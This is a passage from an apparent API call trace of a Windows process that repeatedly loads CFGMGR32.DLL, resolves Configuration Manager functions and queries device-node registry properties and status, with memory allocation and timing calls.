(hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.576] malloc (_Size=0x18) returned 0x20abc281e20 [0226.576] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.580] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42d22dd4, dwHighDateTime=0x1d9eb0c)) [0226.580] SetEvent (hEvent=0x248) returned 1 [0226.583] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.583] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.584] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.587] malloc (_Size=0x18) returned 0x20abc281ea0 [0226.587] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.587] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42d22dd4, dwHighDateTime=0x1d9eb0c)) [0226.588] SetEvent (hEvent=0x248) returned 1 [0226.592] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.592] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.596] malloc (_Size=0x18) returned 0x20abc281b60 [0226.596] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.596] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42d4902d, dwHighDateTime=0x1d9eb0c)) [0226.597] SetEvent (hEvent=0x248) returned 1 [0226.600] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.600] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.603] malloc (_Size=0x18) returned 0x20abc281a80 [0226.604] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.604] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42d4902d, dwHighDateTime=0x1d9eb0c)) [0226.604] SetEvent (hEvent=0x248) returned 1 [0226.664] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.664] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.664] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.665] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.667] malloc (_Size=0x18) returned 0x20abc281ce0 [0226.667] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.670] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42de1711, dwHighDateTime=0x1d9eb0c)) [0226.670] SetEvent (hEvent=0x248) returned 1 [0226.675] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.679] malloc (_Size=0x18) returned 0x20abc281c80 [0226.679] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xe, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0226.680] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x42e0c0de, dwHighDateTime=0x1d9eb0c)) [0226.680] SetEvent (hEvent=0x248) returned 1 [0226.684] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.684] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.685] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.686] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.687] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.688] malloc (_Size=0x18) returned 0x20abc281a80 [0226.688] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xe, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0226.688] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x42e2de82, dwHighDateTime=0x1d9eb0c)) [0226.689] SetEvent (hEvent=0x248) returned 1 [0226.693] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.693] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.697] malloc (_Size=0x18) returned 0x20abc281be0 [0226.697] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0226.697] malloc (_Size=0x48) returned 0x20abc27cb20 [0226.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42e2de82, dwHighDateTime=0x1d9eb0c)) [0226.698] SetEvent (hEvent=0x248) returned 1 [0226.703] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.703] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.704] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 